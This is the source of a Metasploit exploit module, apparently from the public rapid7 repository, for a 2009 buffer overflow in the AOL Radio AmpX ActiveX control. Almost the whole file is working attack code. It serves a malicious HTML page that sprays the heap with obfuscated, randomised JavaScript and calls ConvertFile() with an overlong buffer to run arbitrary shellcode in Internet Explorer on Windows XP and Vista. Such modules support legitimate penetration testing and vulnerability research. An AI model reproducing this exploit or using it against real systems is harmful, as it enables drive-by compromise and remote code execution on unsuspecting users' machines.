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GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/browser/aol_ampx_convertfile.rb
Views: 11783
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = NormalRanking

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  include Msf::Exploit::Remote::HttpServer::HTML

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  def initialize(info = {})

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    super(update_info(info,

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      'Name'           => 'AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow',

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      'Description'    => %q{

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          This module exploits a stack-based buffer overflow in AOL IWinAmpActiveX

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        class (AmpX.dll) version 2.4.0.6 installed via AOL Radio website.

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        By setting an overly long value to 'ConvertFile()', an attacker can overrun

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        a buffer and execute arbitrary code.

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      },

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      'License'        => MSF_LICENSE,

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      'Author'         =>

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        [

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          'rgod <rgod[at]autistici.org>',		# Original exploit [see References]

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          'Trancer <mtrancer[at]gmail.com>'	# Metasploit implementation

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        ],

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      'References'     =>

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        [

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          [ 'OSVDB', '54706' ],

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          [ 'BID', '35028' ],

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          [ 'EDB', '8733' ],

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        ],

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      'DefaultOptions' =>

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        {

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          'EXITFUNC' => 'process',

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        },

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      'Payload'        =>

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        {

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          'Space'         => 1024,

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          'BadChars'      => "\x00\x09\x0a\x0d'\\",

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          'StackAdjustment' => -3500,

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        },

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      'Platform'       => 'win',

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      'Targets'        =>

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        [

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          [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 250, 'Ret' => 0x0C0C0C0C } ]

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        ],

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      'DisclosureDate' => '2009-05-19',

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      'DefaultTarget'  => 0))

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  end

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  def autofilter

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    false

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  end

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  def check_dependencies

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    use_zlib

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  end

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  def on_request_uri(cli, request)

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    # Re-generate the payload

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    return if ((p = regenerate_payload(cli)) == nil)

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    # Encode the shellcode

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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

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    # Setup exploit buffers

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    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))

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    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))

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    blocksize = 0x40000

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    fillto    = 500

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    offset 	  = target['Offset']

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    # Randomize the javascript variable names

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    ampx	     = rand_text_alpha(rand(100) + 1)

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    j_shellcode  = rand_text_alpha(rand(100) + 1)

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    j_nops       = rand_text_alpha(rand(100) + 1)

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    j_headersize = rand_text_alpha(rand(100) + 1)

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    j_slackspace = rand_text_alpha(rand(100) + 1)

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    j_fillblock  = rand_text_alpha(rand(100) + 1)

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    j_block      = rand_text_alpha(rand(100) + 1)

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    j_memory     = rand_text_alpha(rand(100) + 1)

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    j_counter    = rand_text_alpha(rand(30) + 2)

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    j_ret        = rand_text_alpha(rand(100) + 1)

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    j_eax        = rand_text_alpha(rand(100) + 1)

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    j_bof        = rand_text_alpha(rand(100) + 1)

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    randnop = rand_text_alpha(rand(100) + 1)

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    # Build out the message

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    content = %Q|

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<html>

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<OBJECT classid='clsid:FE0BD779-44EE-4A4B-AA2E-743C63F2E5E6' id='#{ampx}'></OBJECT>

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<script language='javascript'>

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  #{j_shellcode}=unescape('#{shellcode}');

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  var #{randnop} = "#{nops}";

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  #{j_nops}=unescape(#{randnop});

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  #{j_headersize}=20;

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  #{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;

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  while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};

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  #{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});

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  #{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});

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  while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};

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  #{j_memory}=new Array();

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  for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

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  #{j_eax}='';

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  for(#{j_counter}=0;#{j_counter}<=350;#{j_counter}++)#{j_eax}+=unescape('%FF%FF%FF%FF');

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  #{j_ret}='';

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  for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');

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  #{j_bof}=#{j_eax}+#{j_ret};

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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

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  #{ampx}.ConvertFile(#{j_bof},1,1,1,1,1);

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</script>

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</html>

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      |

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    print_status("Sending #{self.name}")

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    # Transmit the response to the client

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    send_response_html(cli, content)

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    # Handle the payload

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    handler(cli)

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  end

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end

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